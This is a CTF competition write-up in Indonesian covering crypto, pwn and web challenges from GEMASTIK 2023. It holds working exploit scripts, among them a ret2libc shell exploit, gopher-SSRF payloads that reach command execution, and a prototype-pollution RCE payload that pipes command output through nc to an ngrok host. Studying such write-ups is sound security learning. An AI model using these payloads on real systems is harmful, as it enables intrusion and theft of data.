

WU Qual GEMASTIK 2023



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easy AES

Diberikan kode python berikut

```
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import bytes_to_long, long_to_bytes
import os

key = os.urandom(AES.key_size[0])
iv = os.urandom(AES.block_size)
secret = bytes_to_long(os.urandom(128))

def encrypt(pt):
    bytes_pt = long_to_bytes(pt)
    cipher = AES.new(key, AES.MODE_OFB, iv)
    padded_pt = pad(bytes_pt, AES.block_size)
    return bytes_to_long(cipher.encrypt(padded_pt))

def menu():
    print('==== Menu ====')
    print('1. Encrypt')
    print('2. Get encrypted secret')
    print('3. Get flag')
    print('4. Exit')
    choice = int(input('> '))
    return choice

def get_flag():
    res = int(input('secret: '))
    if secret == res:
        os.system('cat flag.txt')
        print()

while True:
    try:
        choice = menu()
        if choice == 1:
            pt = int(input('plaintext = '))
            ciphertext = encrypt(pt)
            print(f'{ciphertext = }')
```


```

if choice == 2:
    ciphertext = encrypt(secret)
    print(f'{ciphertext = }')
if choice == 3:
    get_flag()
    break
if choice == 4:
    break
except:
    print('something error happened.')
    break


print('bye.')

```

Nah kebetulan encryptionnya menggunakan AES OFB, perhatikan cara kerjanya [\[source\]](#)



Output Feedback (OFB) mode encryption



Output Feedback (OFB) mode decryption

Nah kalau diperhatikan ini encryption sama decryptionnya sebenarnya sama aja, sehingga mengenkripsi ciphertext = mendekripsi ciphertext.

Jadi tinggal kita encrypt ulang lagi aja secret yang diberikan buat dapet secret aslinya, tapi perlu diperhatikan bahwa hasil dekripsi ini masih kena padding, jadi pastiin di remove dulu paddingnya sebelum get flag

```
from pwn import *
from Crypto.Util.number import bytes_to_long, long_to_bytes
r = remote("ctf-gemastik.ub.ac.id", 10002)

r.sendlineafter(b">", b"2")
r.recvuntil(b"ciphertext = ")
ciphertext = int(r.recvline().strip())

r.sendlineafter(b">", b"1")
r.sendlineafter(b"plaintext = ", str(ciphertext))
r.recvuntil(b"ciphertext = ")
secret = int(r.recvline().strip())

r.sendlineafter(b">", b"3")
r.sendlineafter("secret: ",
str(bytes_to_long(long_to_bytes(secret)[:32])))
r.interactive()
```

```
(wrth@wrth)-[/mnt/d/technical/ctf/gemastik]
$ python3 solveeasy.py
[*] Opening connection to ctf-gemastik.ub.ac.id on port 10002: Done
/mnt/d/technical/ctf/gemastik/solveeasy.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https
r.sendlineafter(b"plaintext = ", str(ciphertext))
/mnt/d/technical/ctf/gemastik/solveeasy.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https
r.sendlineafter("secret: ", str(bytes_to_long(long_to_bytes(secret)[:32])))
/home/wrth/.local/lib/python3.11/site-packages/pwnlib/tubes/tube.py:840: BytesWarning: Text is not bytes; assuming ASCII
res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
$
gemastik{1c668b000069b0e507c2aa83ec39dc1fa90f060ed7578e6f6a7c489493feb0d0}
bye.
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to ctf-gemastik.ub.ac.id port 10002
```

Flag:

gemastik{1c668b000069b0e507c2aa83ec39dc1fa90f060ed7578e6f6a7c489493feb0d0}

k-1

Unintended gaming

```
import random
import os

bits = 1024
k = random.randint(20, 35)
password = random.getrandbits(bits) % 1000000

def get_shares():
    coeffs = [password] + [random.getrandbits(bits) for _ in range(k - 1)]
    x_list = set()
    while len(x_list) < k - 1:
        x_list.add(random.getrandbits(bits))

    shares = []
    for x in x_list:
        y = sum(map(lambda i : coeffs[i] * pow(x, i), range(len(coeffs))))
        shares.append((x, y))

    print(f'{k = }')
    for share in shares:
        print(share)

def get_flag():
    res = int(input('password: '))
    if password == res:
        os.system('cat flag.txt')
        print()

try:
    get_shares()
    get_flag()
except:
    print('something error happened.')
```

Nah jadi diberikan kumpulan x dan y, dimana y adalah $a[i] * x^i$, dimana $a[0]$ adalah password yang harus direcover, perlu diperhatikan bahwa password itu sangat kecil, sehingga password < x, dan karena semua angka lain berkelipatan x, maka $y \% x = \text{password}$ wkwwkw

(mohon maaf ini saya ngga bikin solver karena ini literally y%x aja wkwk) Oh iya, karena ini digitnya lumayan panjang jadi bisa pakai sys.set_int_max_str_digits(0) ya di python biar ngga kena error

```
>>> import sys
>>> sys.set_int_max_str_digits(0)
>>> x,y = (2495815566979568036904530787690639073585929441174904309018382165980264277981784759707835596296162596295733211
727437651663085681148131139540506654343984280450956353261970366354428754147624032287918182857947473186917070085095148777
5403380412904327581205065967108869397577879181638407987988451319199555885962977, 533989287855731068188230761145342572276
486141157356241349177644199759981344843110373373662709731599416562253052677017248830105684276013460061143401583095729843
105588283374183286581348642425987710701414349043667162815442123180587853173293164692238695507073341707553867316792443977
10110193293408002748569195432542977402360128974064674813755367408212002098214214442681800195553305282880467062683282665
948795624533664674117684213629717803443126287397092937099844092331816161682135192563812644506863230246978926050218482868
140305387333226323219640093722097759617794770882518859495951597087966770965642406332686443324798753744764156361818711192
118137060796883799183586634138394203017317547525407878134525643263826205915075910502260310261356991088107467806009827673
568431071471807393458683337015407835022513139840113289369837385374895099822769145182614064222755204397604982798860442170
264291858683811416168314619459311931886383291050840492811434216527164468326934706281361172672961620270435170605150419927
906111342958119944446813796307480005241476752658957706123736187908399624970876232781295835787018744304435046228605508229
70813202370097001937030373302245213093715284974593127071997973453185243504280150743081495091738775823709048162947210333
725256677966414043874153486628659004366744608665278905393029022375343550389778317753808942873256230982446218058407441593
869701313346457683108213577259081186644794947524893909362732099197687782523465438181420436207736703368707342926880227226
486595456765373547973372557169794441302823434987479691319898766560150807212793423767647233919379193242616273136190725035
321057548259931627557542703722593588039600716048007756302507737345141084502241224255708742445558948670322095440902512755
177220057527771366932109178367179987153424568840111018621380798312942228411725686324914128753368571186841450434621647280
776080120207643177321278749290321621844646516438779519655916294477106506327871034211380071149185730836036308387587491587
036624818752978205390454507759413694406619498309029101194120685310327725406638340458858856775645827015611033128229847379
881593688523341725610170434665187052619004530690218530509150952490431367970460098941298329550528140875070434201997385876
1971682476020522080)
>>> y%x
888980
>>> []

8778252346543818142043620773670336870734292688022722648659545676537354797337255716979444130282343498747969131989876656015
0807212793423767647233919379193242616273136190725035321057548259931627557542703722593588039600716048007756302507737345141
0845022412242557087424455589486703220954409025127551772200575277713669321091783671799871534245688401110186213807983129422
2841172568632491412875336857118684145043462164728077608012020764317732127874929032162184464651643877951965591629447710650
6327871034211380071149185730836036308387587491587036624818752978205390454507759413694406619498309029101194120685310327725
4066383404588588567756458270156110331282298473798815936885233417256101704346651870526190045306902185305091509524904313679
704600989412983295505281408750704342019973858761971682476020522080)
password: 888980
gemastik{90a3ae5461632cd25463535a78e7dd40ceb394dcd01b230af99403a6e2f87d67}
[]
```

Flag:

gemastik{90a3ae5461632cd25463535a78e7dd40ceb394dcd01b230af99
403a6e2f87d67}

naughty-boy

Menarik sih ini

```
from Crypto.Util.number import *
import os

print(f'Generating secret and hints... Be patient and sing this song :)')
print(f'''
-----
La La La - Naughty Boy

Lyrics
La la, la la la la na na na na na
La la na na, la la la la na na na na na
La la, la la la la na na na na na
La la na na, la la la la na na na na na
...
-----
''')
secret_val = bytes_to_long(os.urandom(100))
z1 = getStrongPrime(512)
z2 = getStrongPrime(512)
z3 = getPrime(256)
modd = getPrime(2048)

n = z1*z2
e = 65537
c = pow(secret_val, e, n)

rand_1 = getRandomNBitInteger(modd.bit_length() - 1013)
rand_2 = bytes_to_long(os.urandom(128))

hidden_val = z1*z2*z3 + rand_1
hint_1 = (z3**8)*z2 + 0x1337*z2*(z1**2) + rand_2
hint_2 = pow(hidden_val, 4*modd, modd)
print(f'Finished generating secret and hints! Below is the known values:')
print(f'{e = }')
print(f'{c = }')
print(f'{n = }')
```



```

print(f'{modd = }')
print(f'{hint_1 = }')
print(f'{hint_2 = }')

res = int(input('What is the secret: '))
if secret_val == res:
    print('GG! Here is your prize:')
    os.system('cat flag.txt')
    print()
else:
    print('Try harder naughty boy!')

```

Seperti biasa ada rsa dan sebuah leak, perhatikan hint_2

```
hint_2 = pow(hidden_val, 4*modd, modd)
```

Seperti yang kita tahu dari fermat little theorem, $a^p = a \pmod p$, sehingga aslinya hint_2 ini hanyalah hidden_val^4 , jadi tinggal kita ambil akarnya untuk mendapatkan hidden_val

Nah sekarang perhatikan hidden_val nya

```
hidden_val = z1*z2*z3 + rand_1
```

Perlu diperhatikan bahwa rand_1 berkisar $2048-1013 = 1035$ bit, sehingga sudah pasti lebih besar dari N yang maksimal 1024 bit.

Apabila kita otak atik dikit

```

hidden_val = z1*z2*z3 + rand_1
hidden_val = n*z3 + rand_1
hidden_val = n*z3 + k*n + smaller_rand_1

```

Nah karena rand_1 itu $> n$, maka kita bisa mengekspresikannya sebagai $(\text{rand_1} \% n) + kn$, karena setiap angka lain berkelipatan n, maka $\text{hidden_val} \% n = \text{smaller_rand_1}$ dan bisa kita eliminasi

Setelah dieliminasi dan dibagi n, maka kita bisa dapat aproksimasi dari z3

```

hidden_val - smaller_rand_1 = n*z3 + k*n
(z3+k)*n = hidden_val - smaller_rand_1
z3+k = (hidden_val - smaller_rand_1)/n

```

Nah karena rand_1 berkisar $2048-1013 = 1035$ bit dan tidak terlalu jauh dari n, maka k nya harusnya cukup kecil sehingga bisa di bruteforce

Nah sekarang perhatikan $hint_1$

```
hint_1 = (z3**8)*z2 + 0x1337*z2*(z1**2) + rand_2
```

Disini $rand_2$ berkisar 1024 bit juga, sehingga cukup dekat dari n , sangat berkemungkinan $< 2n$.

Pertama $(z3**8)*z2$ bisa kita eliminasi dengan modulo $z3**8$, $z3$ 256 bit sehingga $z3**8$ menjadi sekitaran 2048 bit, yang tentunya lebih besar dari angka sisanya, sehingga $hint_1 \% z3**8$ tetaplah $0x1337*z2*(z1**2) + rand_2$.

Kemudian perhatikan bahwa $0x1337*z2*(z1**2)$ berkelipatan n , sehingga bisa di modulus n untuk mendapatkan $rand_2$, in case $rand_2$ nya agak gede sehingga $> n$, maka hasil modulus nya bisa ditambah n aja

Nah terakhir $0x1337*z2*(z1**2)$ itu sama saja dengan $0x1337*n*z1$, sehingga apabila dibagi n , lalu di modulo, akan menghasilkan bilangan berkelipatan $z1$, tinggal di gcd dengan n dan kita akan mendapatkan $z1$ nya

Setelah dapat $z1$ sisanya tinggal decrypt rsa biasa

```
from sage.all import *
from sage.rings.finite_rings.integer_mod import *
from sympy import prevprime
from math import gcd
from pwn import *

context.log_level = "debug"
r = remote("ctf-gemastik.ub.ac.id", 10001)
# r = process(["python3", "chall3.py"])
r.recvuntil(b"e = ")
e = int(r.recvline().strip())
r.recvuntil(b"c = ")
c = int(r.recvline().strip())
r.recvuntil(b"n = ")
n = int(r.recvline().strip())
r.recvuntil(b"modd = ")
modd = int(r.recvline().strip())
r.recvuntil(b"hint_1 = ")
hint_1 = int(r.recvline().strip())
r.recvuntil(b"hint_2 = ")
hint_2 = int(r.recvline().strip())
hint2 = IntegerMod(IntegerModRing(modd), hint_2)
```

```

hidden_val = Integer(square_root_mod_prime(square_root_mod_prime(hint2, modd),
modd))
print(f'{hidden_val = }')
print(f'{pow(hidden_val, 4, modd) = }')
print(f'{hint_2 = }')
partial_rand1 = (hidden_val % n)
hidden_val = hidden_val - partial_rand1
kz3 = hidden_val // n
print(f'{kz3 = }')

for test in range(1000):
    print(test)
    z3 = prevprime(kz3)
    hint1 = hint_1 % z3**8
    rand_2 = hint1 % n
    hint1 -= rand_2
    hint1 = hint1 // n
    z1 = gcd(hint1, n)
    if z1 == 1:
        rand_2 = hint1 % n
        hint1 -= rand_2
        hint1 -= n
        hint1 = hint1 // n
        z1 = gcd(hint1, n)
    if z1 != 1:
        z2 = n // z1
        print(f'{z1 = }')
        print(f'{z2 = }')
        assert z1 * z2 == n
        phi = (z1 - 1) * (z2 - 1)
        d = inverse_mod(e, phi)
        m = pow(c, d, n)
        r.sendline(str(m))
        r.interactive()
        break
    kz3 = z3

```

```

731550173397700075176613046054127524076886136271468443115690739006594101866151940482686286093274526907948097778783405866
178962564500403824184690018170217705895795575850704206945852029784432788920915260235073967467485892131528393869995973038
24256335795830472262641357
kz3 = 65022518451217927894175386663335161558089778489099502428769980736942085633462
0
1
2
3
4
z1 = 13300760690088768247236592488712230013780088852720808284560898296808940753734740721239328943116227462111087683066330
8766790930215368447161600202426632952581
z2 = 1035283424392622163274763034266832980157946547740885020942063007168810185603666298596126924047494496257767298451977
0144653382856070533017990839855083685037
/mnt/d/technical/ctf/gemastik/solvelalala.py:54: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See htt
ps://docs.pwntools.com/#bytes
r.sendline(str(m))
[DEBUG] Sent 0xf2 bytes:
b'208239889075414008591558760735329154699478629980843136187702166685690079132608688060793026666091887074715836382835
271770914257725020925156797176099276063868980575575844773055285981398917330162335231982774378255443612437244535179290034
9748286\n'
[*] Switching to interactive mode
/home/wrth/.local/lib/python3.11/site-packages/pwnlib/tubes/tube.py:896: DeprecationWarning: isSet() is deprecated, use
is_set() instead
while not go.isSet():
/home/wrth/.local/lib/python3.11/site-packages/pwnlib/tubes/tube.py:877: DeprecationWarning: isSet() is deprecated, use
is_set() instead
while not go.isSet():
What is the secret: [DEBUG] Received 0x17 bytes:
b'GG! Here is your prize:'
GG! Here is your prize:[DEBUG] Received 0x4c bytes:
b'\n'
b'gemastik{7a79ccab5028d293a485389c299d7afbc18b06d2265cb5ffd27e0c643f44cc7a}\n'

gemastik{7a79ccab5028d293a485389c299d7afbc18b06d2265cb5ffd27e0c643f44cc7a}
[*] Got EOF while reading in interactive
$

```

Flag:

gemastik{7a79ccab5028d293a485389c299d7afbc18b06d2265cb5ffd27e0c643f44cc7a}

Note: ini scriptnya emang sangat ngga konsisten mainly karena modular root dari hint_2 nya, jadi perlu di run berkali kali-sampai berhasil

Binary Exploitation

pwnworld

Jadi di soal ini ya, dikasih binary yang kalo kita decompile mainnya kurang lebih seperti ini.

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     char s[268]; // [rsp+10h] [rbp-110h] BYREF
4
5     setup(argc, argv, envp);
6     if ( (unsigned int)game() )
7     {
8         printf("Since you win, I will give this to you: %p\n", &gift);
9         printf("Any feedback? ");
10        gets(s);
11    }
12    else
13    {
14        printf("You lose! have any feedback for my game? ");
15        fgets(s, 256, stdin);
16        puts("Thanks for your feedback");
17    }
18    puts("See yaa");
19    return 0;
20 }
```

Decompile 1.0 main()

```
1 __int64 game()
2 {
3     char s[20]; // [rsp+0h] [rbp-20h] BYREF
4     int v2; // [rsp+14h] [rbp-Ch]
5     int random; // [rsp+18h] [rbp-8h]
6     unsigned int v4; // [rsp+1Ch] [rbp-4h]
7
8     random = get_random();
9     v4 = 0;
10    printf("What number would you like to guess? ");
11    fgets(s, 16, stdin);
12    v2 = atoi(s);
13    if ( !v2 )
14    {
15        puts("Oops that's not the number");
16        exit(0);
17    }
18    if ( v2 == random )
19    {
20        puts("Congrats! You win!");
21        return 1;
22    }
23    else
24    {
25        puts("Oops You lose");
26    }
27    return v4;
28 }
```

Decompile 1.1 game()

```

1 int64 get_random()
2 {
3     unsigned int v0; // eax
4
5     v0 = time(0LL);
6     srand(v0);
7     return (unsigned int)(rand() % 417);
8 }

```

Decompile 1.2 get_random()

Ketika dijalankan, binary akan meminta kita memasukan integer yang sama dengan srandom itu, kalo dilihat-lihat kita bisa membuat coding c yang mengeluarkan outputn yang sama karena randomnya itu berdasarkan time(NULL), dengan code ini yang kita compile lalu kita integrasikan dengan exploit kita.

```

$ cat runer.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

int main() {
    while (1) {
        srand(time(0));
        int random_number = rand() % 417;
        printf("Random number: %d\n", random_number);
        sleep(1);
    }

    return 0;
}

```

runer.c

Setelah kita berhasil mengintegrasikan program yang kita tulis ini dengan exploit kita, kita akan mendapatkan address yang akan membantu kita untuk mendapatkan base address binary kita, Apabila diperhatikan gift ini offsetnya 0x404c sehingga base address nya adalah leak - 0x404c

```

gef> p &gift
$1 = (<data variable, no debug info> *) 0x404c <gift>

```

Untuk meleak libc address, kita akan gunakan **got (disini saya pilih printf)** yang akan dibantu di leak menggunakan **puts**, untuk paddingnya sendiri ada di **280**. Lalu kita akan return ke main lagi untuk melakukan **ret2libc**. Jadi payload akhirnya akan seperti ini.

```

from pwn import *

binary = './pwnworld'
r = remote('ctf-gemastik.ub.ac.id', 10012)
#r = process(binary)
p = process('./runer')

```

```

elf = context.binary = ELF(binary)
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF('./libc.so.6')

time = p.recvline()
time = time.strip().split(b' ')[2]

r.sendline(time)
r.recvuntil(b'to you: ')
leak = int(r.recvline(),16)
base_address = leak - 0x404c
elf.address = base_address

#Payload (LEAK)
pop_rdi = base_address + 0x00000000000012b5
payload = b'a'*280
payload += p64(pop_rdi)
payload += p64(elf.sym['got.printf'])
payload += p64(elf.sym['plt.puts'])
payload += p64(elf.sym['main'])
r.sendline(payload)
r.recvline()

#Addresses
leak = u64(r.recvline().strip().ljust(8,b'\x00'))
printf = leak
libc.address = leak - libc.sym['printf']
ret = base_address + 0x101a
system = libc.address + 0x4ebf0

p = process('./runner')
time = p.recvline()
time = time.strip().split(b' ')[2]
r.sendline(time)

#Log
log.info(f'Base Address: {hex(leak)}')
log.info(f'Printf GOT: {hex(printf)}')
log.info(f'Libc Base: {hex(libc.address)}')
log.info(f'System : {hex(system)}')
log.info(f'ret : {hex(ret)}')
log.info(f'pop rdi: {hex(pop_rdi)}')

#RET2LIBC
payload = b'a'*280
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(ret)
payload += p64(system)

r.sendline(payload)
r.interactive()

```

```

(kiinzub Kiinzu)-[~/GEMASTIK]
$ python3 bum.py
[+] Opening connection to ctf-gemastik.ub.ac.id on port 10012: Done
[+] Starting local process './runner': pid 10848
[*] '/home/kiinzu/GEMASTIK/pwnworld'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/kiinzu/GEMASTIK/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './runner': pid 10850
[*] Base Address: 0x7f0b2aebaef0
[*] Printf GOT: 0x7f0b2aebaef0
[*] Libc Base: 0x7f0b2ae65000
[*] System : 0x7f0b2aeb3bf0
[*] ret : 0x5645c914e01a
[*] pop rdi: 0x5645c914e2b5
[*] Switching to interactive mode
What number would you like to guess? Congrats! You win!
Since you win, I will give this to you: 0x5645c915104c
Any feedback? See yaa
$ ls
flag.txt
pwnworld
run_challenge.sh
$ cat flag.txt
gemastik{a300e83bb7e048e6c1bad3ff62610ef3c6ca2e4b8760e03c4bc10cf3aad0b027}$

```

Flag:

gemastik{a300e83bb7e048e6c1bad3ff62610ef3c6ca2e4b8760e03c4bc10cf3aad0b027}

Web Exploitation

Databreach

Diberikan link berikut pada deskripsi soal

Challenge 7 Solves X

Databreach
476

Author: Linz

<http://ctf-gemastik.ub.ac.id:10022/>

Flag Submit

Terdapat source code dari aplikasi yang diperlihatkan

```
<?php

//secret.php?
if (!isset($_GET['url'])) {
    die(highlight_file(__FILE__));
}

$url = $_GET['url'];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);
curl_close($ch);

echo $response;

?> 1
```

Apabila kita analisa, maka bisa disimpulkan bahwa program akan melakukan curl request terhadap input yang kita masukkan pada parameter "url". Dari sini sebenarnya sudah bisa ditebak kalau arahnya ke SSRF (tapi di note aja dulu). Di code tersebut juga diperlihatkan file secret.php yang ketika kita akses menggunakan protocol FILE://. Untuk mengetahui direktori

http server saat ini, saya coba membaca file config dari apache yang berada pada /etc/apache2/sites-enabled/000-default.conf

```
Line wrap ☐
1 <VirtualHost *:80>
2     # The ServerName directive sets the request scheme, hostname and port that
3     # the server uses to identify itself. This is used when creating
4     # redirection URLs. In the context of virtual hosts, the ServerName
5     # specifies what hostname must appear in the request's Host: header to
6     # match this virtual host. For the default virtual host (this file) this
7     # value is not decisive as it is used as a last resort host regardless.
8     # However, you must set it for any further virtual host explicitly.
9     #ServerName www.example.com
10
11     ServerAdmin webmaster@localhost
12     DocumentRoot /var/www/html
13
14     # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
15     # error, crit, alert, emerg.
16     # It is also possible to configure the loglevel for particular
17     # modules, e.g.
18     #LogLevel info ssl:warn
19
```

Baca flag secret.php

```
Line wrap ☐
1 <?php
2
3 include 'config.php';
4
5 $res = NULL;
6
7 if ($_SERVER['REMOTE_ADDR'] === "127.0.0.1") {
8     if ($_SERVER['REQUEST_METHOD'] === "POST" && isset($_POST['role']) && isset($_POST['query']) && $_POST['role'] === "admin") {
9
10         try {
11             $query = $_POST['query'];
12             $stmt = $conn->query($query);
13
14             $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
15
16             print_r($result);
17         } catch (PDOException $e) {
18             system($query);
19             die("Query failed: " . $e->getMessage());
20         }
21     }
22 }
```

Setelah dianalisa, kita dapat mengetahui bahwa file secret.php berguna untuk melakukan query terhadap database. Akan tetapi agar hal tersebut dapat dilakukan, dibutuhkan beberapa kondisi yang harus dipenuhi, yakni:

- Request harus berasal dari localhost (127.0.0.1)
- Harus berupa POST Request
- Memiliki body "role" dengan value "admin"
- Memiliki body "query" sebagai command yang akan dijalankan

Kemudian perlu diperhatikan, apabila query ke database menghasilkan error, maka query yang kita input akan dipakai pada function system(). Disini sudah terlihat bahwa goals kita adalah untuk mendapatkan RCE pada sistem.

Dari file secret.php, terlihat bahwa file config.php digunakan. Isinya seperti berikut

```
← → ↻ ⚠ Not secure | view-source:ctf-gemastik.ub.ac.id:10022/?url=file:///var/www/html/config.php
Line wrap ☐
1 <?php
2 $servername = "gemastik-databreach";
3 $username = "db_databreach";
4 $password = "Password!!!!";
5 $dbname = 'databreach';
6 try {
7     $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
8     // set the PDO error mode to exception
9     $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
10    // echo "Connected successfully";
11    }
12 catch(PDOException $e)
13 {
14     echo "Connection failed: " . $e->getMessage();
15 }
16 ?>
```

Awalnya saya mencoba untuk melakukan SSRF ke service mysql dan mendapatkan flag dari database menggunakan protocol GOPHER. Namun tidak berhasil karena ternyata protocol tersebut hanya mendukung mysql tanpa password.

Balik lagi ke secret.php, disini saya mencari solusi agar dapat mengirimkan POST request melalui SSRF yang sudah ditemukan diawal. Didapatilah artikel china berikut https://zhuanlan.zhihu.com/p/112055947?utm_id=0

Artikel tersebut menjelaskan bahwa protocol GOPHER ternyata bisa digunakan untuk mengirimkan POST. Langsung saja crafting payloadnya.

```
GET
/?url=gopher%3a//127.0.0.1%3a80/_POST%2520/secret.php%2520HTTP/1.1%250d%250aHost%3a%2520127.0.0.1%250d%250aContent-Type%3a%2520application/x-www-form-urlencoded%250d%250aContent-Length%3a%252019%250d%250a%250d%250a%250d%250a%250d%250a%250d%250a%250d%250a HTTP/1.1
Host: ctf-gemastik.ub.ac.id:10022
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
```

Connection: close

Kalau di decode kurang lebih nampak seperti berikut

```
Decoded from: URL encoding ▼  
  
gopher://127.0.0.1:80/_POST /secret.php HTTP/1.1 \r \n  
Host: 127.0.0.1 \r \n  
Content-Type: application/x-www-form-urlencoded \r \n  
Content-Length: 19 \r \n  
\r \n  
role=admin&query=id \r \n
```



Yang perlu diperhatikan adalah Content-Length. Content-Length harus selalu di update mengikuti total character yang dikirimkan sebagai body.

Didapatilah respond berikut

```
Response  
Pretty Raw Hex Render  
1 HTTP/1.1 200 OK  
2 Date: Sun, 30 Jul 2023 17:09:02 GMT  
3 Server: Apache/2.4.52 (Debian)  
4 X-Powered-By: PHP/7.3.33  
5 Vary: Accept-Encoding  
6 Content-Length: 495  
7 Connection: close  
8 Content-Type: text/html; charset=UTF-8  
9  
10 HTTP/1.1 200 OK  
11 Date: Sun, 30 Jul 2023 17:09:02 GMT  
12 Server: Apache/2.4.52 (Debian)  
13 X-Powered-By: PHP/7.3.33  
14 Vary: Accept-Encoding  
15 Transfer-Encoding: chunked  
16 Content-Type: text/html; charset=UTF-8  
17  
18 37  
19 uid=33(www-data) gid=33(www-data)  
20 groups=33(www-data)  
21 da  
22 Query failed: SQLSTATE[42000]: Syntax error or  
23 0  
24  
25
```



Kemudian saya mencari flag (biasanya ada di root directory /)

```
gopher%3a//127.0.0.1%3a80/_POST%2520/secret.php%2520HTTP/1.1%250d%250aHost%3a%2520127.0.0.1%250d%250aContent-Type%3a%2520application/x-www-form-urlencoded%250d%250aContent-Length%3a%252021%250d%250a%250d%250arole%3dadmin%26query%3dls+/%250d%250a
```



Read flag

```
gopher%3a//127.0.0.1%3a80/_POST%2520/secret.php%2520HTTP/1.1%250d%250aHost%3a%2520127.0.0.1%250d%250aContent-Type%3a%2520application/x-www-form-urlencoded%250d%250aContent-Length%3a%252054%250d%250a%250d%250arole%3dadmin%26query%3dcat+/flag_congrats_you_found_this.txt%250d%250a
```



Flag:

**gemastik{6a501f7f76842b00273761d493dc2dd66c064da1e63f5c419552
324d089ffb31}**

Gemashnotes

Diberikan challenge expressjs yang menggunakan mongoose

```
web > gemashnotes > src > models > JS note.js > ...
1  const mongoose = require("mongoose");
2  const NoteSchema = new mongoose.Schema({
3    title: {
4      type: String,
5      required: true,
6    },
7    content: {
8      type: String,
9      required: true,
10   },
11   date: { type: Date, default: Date.now }
12 });
13
14 const Note = mongoose.model("Note", NoteSchema);
15 module.exports = Note;
```

Berdasarkan PoC pada situs berikut

<https://huntr.dev/bounties/1eef5a72-f6ab-4f61-b31d-fc66f5b4b467/>. Didapati bahwa "kemungkinan" aplikasi yang diberikan memiliki kerentanan serupa, yakni prototype pollution.

Di artikel tersebut juga sudah diberikan artikel lain yang menjelaskan payload untuk mendapatkan RCE pada expressjs

(<https://mizu.re/post/ejs-server-side-prototype-pollution-gadgets-to-rce>)

Disini saya memanfaatkan dua properti yang bisa di input, yakni content dan juga title untuk menampung value yang akan digunakan sebagai data yang akan dipakai untuk mendapatkan RCE

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre> 1 POST /notes HTTP/1.1 2 Host: ctf-gemastik.ub.ac.id:10021 3 Upgrade-Insecure-Requests: 1 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 6 Accept-Encoding: gzip, deflate 7 Accept-Language: en-US,en;q=0.9 8 Cookie: JSESSIONID=OC138ED725F730F875E96516BC54CD09 9 Connection: close 10 Content-Type: application/json 11 Content-Length: 125 12 13 { 14 "title": "JSON.stringify(process.mainModule.require('child_ process').exec('id nc 0.tcp.ap.ngrok.io 17994'))", "content":1 } </pre>				<pre> 1 HTTP/1.1 201 Created 2 X-Powered-By: Express 3 Content-Type: application/json; charset=utf-8 4 Content-Length: 200 5 ETag: W/"c8-cfk/kY4tPSm6vrHrQiB+uBDMqIs" 6 Date: Sun, 30 Jul 2023 09:44:21 GMT 7 Connection: close 8 9 { "title": "JSON.stringify(process.mainModule.require('child_ process').exec('id nc 0.tcp.ap.ngrok.io 17994'))", "content":1, "id":"64c630f50a13a48c8de47541", "date":"2023-07-30T09:44:21.976Z", "__v":0 } </pre>			

Kemudian kita input payload berikut sehingga nantinya properti client akan memiliki nilai 1 (nilai properti content), dan juga properti escapeFunction akan memiliki nilai berupa code node untuk mengeksekusi command pada sistem (nilai properti title).

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre> 1 PUT /notes/64c630f50a13a48c8de47541 HTTP/1.1 2 Host: ctf-gemastik.ub.ac.id:10023 3 Upgrade-Insecure-Requests: 1 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36 5 Accept: text/html,application/xhtml+xml,application/xml;q= 0.9,image/avif,image/webp,image/apng,*/*;q=0.8,app lication/signed-exchange;v=b3;q=0.9 6 Accept-Encoding: gzip, deflate 7 Accept-Language: en-US,en;q=0.9 8 Cookie: JSESSIONID= OC138ED725F730F875E96516BC54CD09 9 Connection: close 10 Content-Type: application/json 11 Content-Length: 101 12 13 { 14 "\$rename":{ 15 "content":"__proto__.client", 16 "title":"__proto__.escapeFunction" 17 } 18 } </pre>				<pre> 1 HTTP/1.1 200 OK 2 X-Powered-By: Express 3 Content-Type: application/json; charset=utf-8 4 Content-Length: 76 5 ETag: W/"4c-vKaVsveyFim6c97u5d6NdgmgpeM" 6 Date: Sun, 30 Jul 2023 09:44:26 GMT 7 Connection: close 8 9 { "id":"64c630f50a13a48c8de47541", "date":"2023-07-30T09:44:21.976Z", "__v":0 } </pre>			

Kemudian kita trigger pollutionnya dengan menjalankan function Find() melalui endpoint /stats

```
